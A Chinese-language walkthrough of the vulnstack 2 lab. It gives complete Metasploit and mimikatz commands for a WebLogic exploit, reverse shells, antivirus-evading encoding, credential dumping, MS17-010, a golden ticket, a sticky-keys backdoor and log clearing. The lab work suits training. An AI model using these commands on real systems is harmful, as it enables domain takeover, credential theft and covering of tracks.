第一次寫靶場實戰的文章,有不足之處還請多多指教,本次實戰的靶場是紅日安全vulnstack系列的第二個靶場,
靶場地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/3/
環境搭建
網路環境

網卡配置
只需要在VM上選擇對應網卡即可,不需要在靶機中進行配置,
DC
IP:10.10.10.10 (VMnet5)
OS:Windows 2012(x64)
WEB
IP1:192.168.111.80 (VMnet6)
IP2:10.10.10.80 (VMnet5)
OS:Windows 2008(x64)
PC
IP1:192.168.111.201 (VMnet6)
IP2:10.10.10.201 (VMnet5)
OS:Windows 7(x86)
開啟靶場
進入C:\Oracle\Middleware\user_projects\domains\base_domain目錄下,雙擊startWebLogic開啟服務,

外網滲透
我們已知當前Web服務器的公網IP為192.168.111.80,對Web服務器進行埠掃描,以期發現是否有可以利用的埠服務,從而突破邊界,
埠掃描
nmap -sV -Pn -T4 192.168.111.80

【一>所有資源獲取<一】
1、200多本網路安全系列電子書(該有的都有了)
2、全套工具包(最全中文版,想用哪個用哪個)
3、100份src原始碼技術檔案(專案學習不停,實踐得真知)
4、網路安全基礎入門、Linux、web安全、攻防方面的視頻(2021最新版)
5、網路安全學習路線(告別不入流的學習)
6、ctf奪旗賽決議(題目決議實戰操作)
漏洞探測
通過埠掃描我們發現Web服務器開啟了80、7001等埠,其他埠如445、1433、3389等也可以使用一些RCE漏洞或弱口令直接進入Web服務器,這里我們先訪問Web服務,發現80埠頁面是空白的,在7001埠我們發現Web服務器開啟了Weblogic,嘗試使用WeblogicScan腳本探測漏洞:
python3 WeblogicScan.py -u 192.168.111.80 -p 7001

漏洞利用
通過腳本探測發現存在CVE-2019-2725,我們可以使用網上的exp,這里我們使用msf自帶的漏洞利用模塊:
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set target Windows
set payload windows/x64/meterpreter/reverse_tcp
set rhosts 192.168.111.80
set lhost 192.168.111.128
run

這里還需要在advanced選項中對payload進行簡單的編碼:
setg EnableStageEncoding true
setg StageEncoder x64/zutto_dekiru

成功回傳meterpreter,
這里我們做編碼的目的是為了繞過360,網上也有一些其它免殺的方式,大家可以自行學習,這里使用的msf的自免殺,使用x64/zutto_dekiru編碼繞過,
權限提升
在我們成功回傳shell后,發現我們當前是普通用戶權限,如果要完全控制這臺機器,需要進一步提權,
切換目錄到C:\Users\de1ay下,使用meterpreter上傳Sherlock腳本:
cd C:/Users/de1ay
upload Sherlock.ps1
[圖片上傳中…(image-d1bca3-1636183507751-34)]
進入shell模式,使用Sherlock腳本探測可用于本地提權的漏洞:
powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1;Find-AllVulns}"

這里我們通過Sherlock腳本發現存在MS15-051相關漏洞,使用msf自帶的利用模塊提權:
use exploit/windows/local/ms15_051_client_copy_image
set payload windows/x64/meterpreter/reverse_tcp
set session 1
set target Windows x64
set lhost 192.168.111.128
run

提權成功:

至此,我們已經成功拿下了邊界服務器的控制權,可以進一步深入內網了,
內網滲透
在進入內網后,我們要明確自己的目標,由于該靶場沒有flag需要獲取,所以我們的目標就是拿下整個域的控制權,明確了目標后,我們就可以針對目標進行資訊收集了,
資訊收集
systeminfo

ipconfig /all

通過查詢主機資訊和網路資訊,我們發現該服務器主機名為WEB,處于域環境,并且有兩張網卡,其內網網段為10.10.10.0/24,主DNS服務器IP為10.10.10.10,在域環境中,域控制器往往同時作為DNS服務器,由此判斷,我們要找的域控制器IP很可能就是10.10.10.10,
net user
net user /domain
net time /domain

通過查詢用戶資訊,我們獲取了域成員資訊,并可基本做出判斷域控制器的主機名為DC,
ping DC

通過對DC使用ping命令,我們發現其IP為10.10.10.10,由此我們最終做出判斷該域環境中的域控制器主機名為DC,內網ip地址為:10.10.10.10,并且我們目前控制的這臺Web服務器可以訪問域控制器,
net group "Domain Admins" /domain

net group "domain computers" /domain

ping PC

這里我們通過ping PC發現PC機的ip為10.10.10.201,但是沒有回傳資料,說明此處防火墻禁止了ICMP協議,在后面對PC機進行內網滲透時可以考慮其它協議,
至此,我們已經初步完成了內網資訊收集:
該靶場為域環境:de1ay.com
該靶場存在三臺主機:DC、PC、WEB
該靶場存在兩個網段:10.10.10.0/24,192.168.111.0/24
該靶場的域管理員為:Administrator
設定代理
在對內網進行了初步的資訊收集后,我們要開始攻擊內網主機了,但是內網中的機器和我們的攻擊機并不處于同一網路當中,所以要通過Web服務器建立代理,這里有很多內網穿透工具可以使用,如ew、frp、chisel等,我這里直接使用msf建立路由,并開啟socks代理,
建立路由:
route add 10.10.10.0 255.255.255.0 1

開啟socks代理:
use auxiliary/server/socks_proxy
set srvhost 127.0.0.1
set srvport 9050
set version 4a
run

配置代理工具proxychains4:
vim /etc/proxychains4.conf

這樣,我們就可以使用msf以及設定了代理的其它工具攻擊內網中的主機了,
在資訊收集時,我們使用了ping命令簡單探測了一下內網連通性,發現PC機無法ping通,這可能是防火墻阻止了ICMP協議,這里我們通過代理使用nc命令探測,發現可以連通,說明防火墻并沒有阻止TCP協議的流量,
proxychains4 nc -zv 10.10.10.80 135
proxychains4 nc -zv 10.10.10.201 135

發現防火墻并沒有攔截TCP流量后,我們就可以使用TCP協議進行資料傳輸了,
橫向移動
先掃一下埠,

發現兩臺機器都開起了445埠,探測以下是否存在永恒之藍漏洞:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.10
run

發現兩臺主機都存在該漏洞,嘗試使用msf內置的漏洞利用模塊:
use exploit/windows/smb/ms17_010_psexec
set rhosts 10.10.10.10
set payload windows/x64/meterpreter/bind_tcp
set lport 443
run
域控制器執行成功,域內成員機PC執行失敗:

至此,我們已成功獲得域控制器權限,
域內成員機PC我們沒有通過永恒之藍漏洞拿下來,這里采用其它方法,首先我們在之前的Web服務器上加載kiwi,提取服務器上儲存的密碼:
sessions 2
load kiwi
creds_all

我們成功提取到了兩個賬號的明文密碼,但是這里沒有域管理員的賬號密碼,
這里我們使用smart_hashdump模塊提取域控中的哈希:
use post/windows/gather/smart_hashdump
set session 3
run

成功提取到了域內成員的hash值,并且我們發現域管理員的hash和其它域成員的hash相同,這說明域管理員使用了和域成員相同的密碼(該靶場存在密碼復用,如果密碼不相同,我們可以通過哈希傳遞進行橫向移動),這樣我們可以就獲得了域管理員的賬號密碼,
我們先使用msf生成一個木馬:
msfvenom -p windows/meterpreter/bind_tcp lport=443 -f vbs -e x86/shikata_ga_nai -o /tmp/msf.vbs
然后,將該木馬上傳到已經被我們控制的web服務器上:
upload /tmp/msf.vbs

進入shell,與PC主機建立IPC$連接:
net use \\10.10.10.201\ipc$ "1qaz@WSX" /user:administrator@de1ay.com

將上傳的木馬復制到PC機C盤目錄下:
copy msf.vbs \\10.10.10.201\c$

通過埠掃描我們發現PC開啟了3389埠:

在msf上開啟監聽:
use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set stageencoder x86/shikata_ga_nai
set rhosts 10.10.10.201
set lport 443
run

連接PC機的遠程桌面,使用域管理員賬號登錄PC,上線msf:
proxychains4 rdesktop 10.10.10.201:3389

到此,我們已經控制了域內全部主機,

權限維持
在獲取了域內全部主機權限后,我們進一步來做權限維持,權限維持的方法很多,這里我們演示兩種方式,使用黃金票據來實作域控制器的權限維持,使用粘滯鍵后門實作PC機的權限維持,
域控制器權限維持
在之前的資訊收集程序中,我們已經成功獲取到了krbtgt的hash值:

因為PC機的session沒有進行提權,并且是域成員賬號,可以幫助我們獲取域的SID,所以我們切換到PC機的session,獲取域SID:
whoami /user

上傳mimikatz到PC機,進入PC的shell模式,發現當前用戶為普通域成員,無法訪問域控制器目錄,

使用mimikatz生成黃金票據并注入記憶體:
mimikatz# kerberos::purge
mimikatz# kerberos::golden /admin:administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /ticket:administrator.kiribi
mimikatz# kerberos::ptt administrator.kiribi

成功注入記憶體,我們嘗試訪問域控制器C盤:
dir \\DC\C$

發現在將票據注入記憶體后,可以成功訪問域控制器目錄,說明黃金票據有效,還有其它域控制器權限維持的方式,這里不進行具體演示了,
粘滯鍵后門
在PC機上使用粘滯鍵后門前,需要先進行提權,這里同樣上傳Sherlock腳本進行探測利用:

提權成功,
使用msf中的后滲透模塊添加粘滯鍵后門:
use post/windows/manage/sticky_keys
set session 8
run

痕跡清除
洗掉之前上傳的mimikatz和Sherlock腳本,
run event_manager -c

結語
關于免殺,我使用的全部是msf的編碼自免殺,64位使用的是x64/zutto_dekiru,32位使用的是x86/shikata_ga_nai,360都沒有攔截,雖然靶機中有360,但是我直接上傳的mimikatz也沒有被殺,所以我有些懷疑是360的版本比較低,除了web服務器上傳的第一個payload,其它都進行了編碼處理,而第一個也確實沒有執行成功,這說明360至少對第一個payload是攔截了的,
本次靶場練習到這里就全部結束了,在權限維持和免殺等方面仍然有很多需要學習的地方,這個靶場總體上比較簡單,在橫向移動和權限維持等方面還有很多方法可以嘗試,由于本人深度沉迷msf,所以這篇文章中的整個滲透程序都是基于msf進行的,大家也可以多多嘗試其它工具和方法,比如CS、Empire等等,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/352126.html
標籤:其他
上一篇:密碼學復習(上)
